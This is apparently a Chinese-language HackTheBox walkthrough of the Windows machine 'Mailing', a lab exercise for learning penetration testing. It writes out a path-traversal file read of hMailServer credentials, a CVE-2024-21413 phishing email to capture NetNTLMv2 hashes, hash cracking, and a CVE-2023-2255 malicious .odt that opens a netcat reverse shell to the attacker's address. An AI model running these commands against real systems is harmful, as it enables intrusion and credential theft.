如果你一直在刷 HackTheBox 的机器,Mailing 就是那种真正能让你学到东西的靶机之一。它被评为 Easy 难度,运行在 Windows 上,并且串联了几个真实世界的漏洞——一个目录遍历、一个凭据泄露、CVE-2024-21413,以及一个 LibreOffice 宏利用。让我们一步一步地过一遍。
作者:Mursalin
如果你一直在刷 HackTheBox 靶机,Mailing 就是那种真正能让你学到东西的机器之一。它被评为 Easy 难度,运行在 Windows 上,并且串联了几个真实世界的漏洞——目录遍历、凭据泄露、CVE-2024-21413,以及一个 LibreOffice 宏利用漏洞。让我们一步一步地过一遍。
像往常一样,我们先用 nmap 扫描来了解我们要面对的东西:
nmap -p- --min-rate 10000 10.10.11.14
nmap -p [ports] -sCV 10.10.11.14
扫描结果返回了相当多的开放端口。重点如下:
mailing.htb)操作系统指纹与 Windows 10 或 Server 2019 吻合,IIS 版本确认至少是 IIS 10。我还注意到 SMB 消息签名已启用但不是必需的——先记下来备用。
邮件端口分布广泛,但很可能需要凭据。80 端口上的 Web 服务器显然是最合适的起点。
将 mailing.htb 添加到 /etc/hosts 后,这个站点看起来像一个基于 hMailServer 构建的邮件托管公司。表面上看没什么特别的——一个关于我们部分、一个包含三个名字(Ruy Alonso、Maya Bendito、Gregory Smith)的团队部分,以及一个“下载说明”按钮。
下载按钮指向:
http://mailing.htb/download.php?file=instructions.pdf
这个 file= 参数立刻引起了怀疑。让我们测试一下。
我运行了 ffuf 检查子域名——没有发现什么有趣的东西。然后用 feroxbuster 进行目录暴力枚举,除了 download.php 之外也没有新的发现。所以我们把全部注意力都放在这一个端点上。
测试 file 参数是否存在路径遍历:
curl http://mailing.htb/download.php?file=../../windows/system32/drivers/etc/hosts
结果成功了——我们拿到了 Windows 的 hosts 文件。这个应用实际上只是把我们提供的任意内容前面拼接一个基础路径,然后调用 file_get_contents()。没有过滤,没有任何限制。当我们直接读取 download.php 的源码时,这一点得到了证实:
$file_path = 'C:/wwwroot/instructions/' . $file;
if (file_exists($file_path)) {
echo file_get_contents($file_path);
}
现在我们在这台 Windows 机器上拥有了任意文件读取能力。让我们利用它。
hMailServer 将其配置存储在 hMailServer.ini 中。经过一番研究,该文件位于:
C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini
通过我们的目录遍历读取它:
curl 'http://mailing.htb/download.php?file=../../Program+Files+(x86)/hMailServer/bin/hMailServer.ini'
输出内容包括:
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Password=0a9f8ad8bf896b501dde74f08efd7e4c
两个 MD5 哈希。我把它们丢进 CrackStation:
841bb5acfa6779ae432fd7a4e6600ba7 → homenetworkingadministrator这样我们就得到了 hMailServer 的管理员密码。尝试以 Windows 的 administrator 用户身份通过 SMB 进行验证失败——这不是本地账户密码,只是邮件服务的管理员密码。但它确实能够用于 SMTP 服务的身份验证,这正是我们需要的。
现在我们需要以一个真实用户身份获取一个立足点。站点提到所使用的邮件客户端是 Windows Mail(根据安装说明 PDF)。是时候检查已知漏洞了。
CVE-2024-21413 是 Microsoft Outlook 和 Windows Mail 中的一个远程代码执行漏洞。该缺陷存在于客户端处理邮件正文中 file:// 协议 URL 的方式。通常情况下,不同协议会被施加安全限制。然而,研究人员发现,如果 URL 以 !anything 结尾,这些限制会被静默丢弃。当用户打开甚至预览包含此类链接的邮件时,客户端会自动尝试向攻击者的 SMB 服务器进行身份验证——从而交出 NetNTLMv2 哈希。
GitHub 上有一个由 xaitax 提供的可靠 PoC。我将其克隆下来,并用以下参数运行:
python CVE-2024-21413.py \
--server mailing.htb \
--port 587 \
--username [email protected] \
--password homenetworkingadministrator \
--sender [email protected] \
--recipient [email protected] \
--url "\\10.10.14.6\share\sploit" \
--subject "Check this out ASAP!"
邮件发送成功。与此同时,我在攻击机上运行 Responder,以捕获传入的身份验证:
sudo /opt/Responder/Responder.py -I tun0
大约一分钟后,Maya 的客户端打开了邮件,Responder 捕获了她的 NetNTLMv2 哈希。我用 hashcat 破解它:
hashcat -m 5600 maya_hash.txt /usr/share/wordlists/rockyou.txt
密码已破解:m4y4ngs4ri
使用 Maya 的凭据,我通过 Evil-WinRM 进行连接:
evil-winrm -i mailing.htb -u maya -p 'm4y4ngs4ri'
我们进来了。user 标志就放在 Maya 的桌面上。
是时候寻找通往 root 的路径了。在系统中四处查看,发现有一个名为 Important Documents 的共享,并且安装了 LibreOffice。这强烈暗示着 CVE-2023-2255。
CVE-2023-2255 影响 7.4.7 和 7.5.3 之前的 LibreOffice 版本。它滥用了“浮动框架”——.odt 文档中链接的外部文件。该漏洞会导致这些框架在未征求用户许可的情况下加载,并且内容可以是一个在文档加载时执行的宏。
elweth-sec 提供的 PoC 会生成一个嵌入了 shell 命令的恶意 .odt。该文档结构在 content.xml 中嵌入了一个 <script> 标签,LibreOffice 一打开文件它就会触发。
我生成一个反向 Shell 负载:
python /opt/CVE-2023-2255/CVE-2023-2255.py \
--cmd 'cmd.exe /c C:\ProgramData\nc64.exe -e cmd.exe 10.10.14.6 443' \
--output exploit.odt
然后使用 Maya 的凭据将 .odt 文件和 nc64.exe 上传到 Important Documents SMB 共享:
smbclient '//10.10.11.14/important documents' --user maya --password m4y4ngs4ri
smb: \> put exploit.odt
smb: \> put nc64.exe
在 Maya 的 WinRM shell 中,我将 nc64.exe 复制到 C:\ProgramData,以便宏能够找到它:
copy "\Important Documents\nc64.exe" nc64.exe
一两分钟后,机器上的某个东西打开了文档(很可能是一个自动化的计划任务),我在 netcat 监听器上捕获到了一个 shell:
rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.14
Microsoft Windows [Version 10.0.19045.4355]
C:\Program Files\LibreOffice\program> whoami
mailing\localadmin
我们正以 localadmin 身份运行——root 标志就在桌面上。
这台机器在 2024 年 5 月 15 日被打上了补丁——发布后仅 11 天——因为最初的 download.php 实际上使用的是 PHP 的 include(),而不是 file_get_contents()。这把单纯的文件读取变成了一次完整的本地文件包含(LFI)漏洞,意味着可读文件中的任何 PHP 代码都会被执行。
非预期路径是污染 hMailServer 的 SMTP 日志(通过 telnet 连接并在 HELO 命令中注入 PHP),然后通过 LFI 包含该日志文件,以 defaultapppool 身份实现代码执行。从那里开始,SeImpersonatePrivilege + GodPotato = SYSTEM。一条完全不同的通往 root 的路径。
Mailing 的攻击链如下:
download.php 中的目录遍历实现文件读取hMailServer.ini 中泄露凭据 → 破解 MD5 管理员哈希这台机器在将真实 CVE 串联起来这方面做得非常出色,而且显得真实可信。利用步骤并不算太复杂,但你需要理解自己在每个阶段所做的操作。如果你正在备考 OSCP,这绝对是一个值得重新演练的靶机。
感谢阅读!在 Medium 上关注我,获取更多 HTB 文章和 CTF 内容。
—— Mursalin